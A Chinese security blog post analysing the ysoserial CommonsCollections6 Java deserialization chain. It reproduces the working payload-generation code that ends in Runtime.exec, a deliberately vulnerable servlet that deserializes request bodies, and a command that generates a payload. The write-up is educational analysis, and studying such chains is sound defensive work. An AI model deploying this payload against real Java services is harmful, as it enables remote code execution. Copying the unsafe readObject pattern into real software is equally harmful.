【yso】- CC6反序列化分析

admin 2025年2月15日09:26:43评论11 views字数 6987阅读23分17秒阅读模式

【yso】- CC6反序列化分析

前言

继续学习ysoserial中的CommonsCollections6反序列化利用链。

ysoserial中CC6 payload构造

先看下yso中cc6这条链的payload是怎么构造的,后续我们再分析反序列化的过程。

public Serializable getObject(final String command) throws Exception {

   final String[] execArgs = new String[] { command };

   final Transformer[] transformers = new Transformer[] {
           new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod", new Class[] {
                   String.class, Class[].class }, new Object[] {
                   "getRuntime", new Class[0] }),
           new InvokerTransformer("invoke", new Class[] {
                   Object.class, Object[].class }, new Object[] {
                   null, new Object[0] }),
           new InvokerTransformer("exec",
                   new Class[] { String.class }, execArgs),
           new ConstantTransformer(1) };

   Transformer transformerChain = new ChainedTransformer(transformers);

   final Map innerMap = new HashMap();

   final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

   TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

   HashSet map = new HashSet(1);
   map.add("foo");
   Field f = null;
   try {
       f = HashSet.class.getDeclaredField("map");
  } catch (NoSuchFieldException e) {
       f = HashSet.class.getDeclaredField("backingMap");
  }

   Reflections.setAccessible(f);
   HashMap innimpl = (HashMap) f.get(map);

   Field f2 = null;
   try {
       f2 = HashMap.class.getDeclaredField("table");
  } catch (NoSuchFieldException e) {
       f2 = HashMap.class.getDeclaredField("elementData");
  }

   Reflections.setAccessible(f2);
   Object[] array = (Object[]) f2.get(innimpl);

   Object node = array[0];
   if(node == null){
       node = array[1];
  }

   Field keyField = null;
   try{
       keyField = node.getClass().getDeclaredField("key");
  }catch(Exception e){
       keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
  }

   Reflections.setAccessible(keyField);
   keyField.set(node, entry);

   return map;

}

前面生成ChainedTransformer利用链的过程跟cc1一致,不作过多讲解。

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

将ChainedTransformer绑定到map对象上,当调用get方法的时候,就会调用到ChainedTransformer的transform方法,从而引起连锁反应执行命令。

TiedMapEntry类:

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

该类的作用在cc5反序列化分析时也进行过讲解:传入构造函数的分别是LazyMap实例化对象(赋值给TiedMapEntry的map属性)和占位字符串(赋值给TiedMapEntry的key属性),在TiedMapEntry.getValue这个方法中,调用this.map.get()方法,就和前面的串联起来达成命令执行了。

多次反射操作

下面的代码比较长,是多次反射操作,我们拆开来看。

第一次反射:

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
   f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
   f = HashSet.class.getDeclaredField("backingMap");
}

Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

这里的try catch应该是为了兼容不同版本的jdk。

创建了一个HashSet对象,容量为1,添加了个"foo"字符串。

随后通过反射的方法获取到HashSet对象的成员变量map,其为HashMap类型,定义为变量名innimpl

第二次反射:

Field f2 = null;
try {
   f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
   f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

通过反射的方法获取到HashMap对象的成员变量table,其为对象数组(Object[])类型,定义为变量名array

第三次反射:

Object node = array[0];
if(node == null){
   node = array[1];
}

Field keyField = null;
try{
   keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
   keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

Reflections.setAccessible(keyField);
keyField.set(node, entry);

获取HashMap对象的成员变量table的第一个元素或者第二个元素,命名为node变量,通过反射获取node变量的成员变量key,并该成员变量修改为之前构造好的TiedMapEntry类型对象。

这部分代码很多,其实就是一个赋值操作:

HashSet map = new HashSet(1);
map.add("foo");
map.map.table[0].key = entry; // or map.map.table[1].key = entry;
return map;

map是HashSet对象,也就是集合,集合的特性就是:没有重复的元素。

这一系列的操作就是,往集合map中添加元素foo,再通过反射把这个元素改为entry。这里抛出一个疑问后面解答,为什么不直接往map内添加entry。

先分析HashSet这些类。

HashSet HashMap 类

HashSet的成员变量map为HashMap类型:

private transient HashMap<E,Object> map;

HashSet的add方法在添加新元素时,会把添加的新元素设置为map的key,因为HashMap的key唯一,所以HashSet将HashMap的key当做自己的元素,通过这种方式保证了HashSet没有重复元素:

public boolean add(E e) {
   return map.put(e, PRESENT)==null;
}

HashMap的table成员变量是Node类型数组,Node是HashMap的内部静态类,HashMap每添加一个新元素都会放在Node数组里,Node类包含了map的hash,key,value等信息:

static class Node<K,V> implements Map.Entry<K,V> {
   final int hash;
   final K key;
   V value;
   Node<K,V> next;

   Node(int hash, K key, V value, Node<K,V> next) {
       this.hash = hash;
       this.key = key;
       this.value = value;
       this.next = next;
  }

反序列化过程分析

1. 创建web项目

创建一个maven web项目,并创建一个servlet如下:

package com.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

@WebServlet("/s1")
public class Servlet1 extends HttpServlet {
   @Override
   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       InputStream inputStream = req.getInputStream();
       ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
       try {
           objectInputStream.readObject();
      } catch (ClassNotFoundException e) {
           e.printStackTrace();
      }
  }

   @Override
   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       this.doGet(req, resp);
  }
}

pom.xml中添加commons-collections 3.1依赖

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

使用yso生成calc命令的payload:

java -jar CommonsCollections6 calc > cc6.ser

利用burp发送payload,成功执行命令弹出计算器:

【yso】- CC6反序列化分析

2. 反序列化链分析

通过前面的学习我们知道,该反序列化链会执行LazyMap.get()方法,从而引发后面的连锁反应,所以我们在LazyMap.get()方法处打上断点,查看函数栈帧的调用:

【yso】- CC6反序列化分析

HashSet.readObject()

private void readObject(java.io.ObjectInputStream s)
   throws java.io.IOException, ClassNotFoundException {
   // Read in any hidden serialization magic
   s.defaultReadObject();

   // Read in HashMap capacity and load factor and create backing HashMap
   int capacity = s.readInt();
   float loadFactor = s.readFloat();
   map = (((HashSet)this) instanceof LinkedHashSet ?
          new LinkedHashMap<E,Object>(capacity, loadFactor) :
          new HashMap<E,Object>(capacity, loadFactor));

   // Read in size
   int size = s.readInt();

   // Read in all elements in the proper order.
   for (int i=0; i<size; i++) {
       E e = (E) s.readObject();
       map.put(e, PRESENT);
  }
}

HashSet有自己的readObject方法,它和HashMap同理,先创建个空的HashSet,再把元素一个个put进去。这里put的元素正是之前构造的 TiedMapEntry 对象。

put时获取TiedMapEntry对象的hash:

【yso】- CC6反序列化分析

调用TiedMapEntry.hashCode方法:

【yso】- CC6反序列化分析

而在TiedMapEntry.hashCode方法中,就会调用TiedMapEntry.getValue()方法:

【yso】- CC6反序列化分析

从而调用LazyMap.get()方法引起连锁反应。

问题:为什么不直接在HashSet对象中添加TiedMapEntry对象

我们看看LazyMap.get()方法引起连锁反应的条件是什么:

【yso】- CC6反序列化分析

需要LazyMap中的HashMap不包含此key,才会进入if条件,从而执行后面的transform方法。

如果我们直接在HashSet中添加TiedMapEntry对象

map.add(entry);

add方法如下:

public boolean add(E e) {
   return map.put(e, PRESENT)==null;
}

这里的map为HashMap对象。

继续跟进看代码:

public V put(K key, V value) {
   return putVal(hash(key), key, value, false, true);
}

对TiedMapEntry对象计算hash,就会调用TiedMapEntry对象的hashCode方法,调用TiedMapEntry对象的getValue()方法,然后就会调用LazyMap的get方法:

public Object get(Object key) {
   if (!super.map.containsKey(key)) {
       Object value = this.factory.transform(key);
       super.map.put(key, value);
       return value;
  } else {
       return super.map.get(key);
  }
}

这里LazyMap显然没有这个key,进入这个if中,在这个if里面则会新建一个键值对。

HashSet调用add添加的元素,会在LazyMap里添加一个和这个元素相同的key,则下次调用LazyMap的get方法时,不会创建新的键值对,也就不会调用Transformer链,不会造成rce。所以在构造payload时,不能使用HashSet的add方法添加构造好的map对象,要用反射修改。

参考链接

https://www.freebuf.com/articles/web/312176.html

原文始发于微信公众号(信安文摘):【yso】- CC6反序列化分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日09:26:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【yso】- CC6反序列化分析http://cn-sec.com/archives/1050844.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息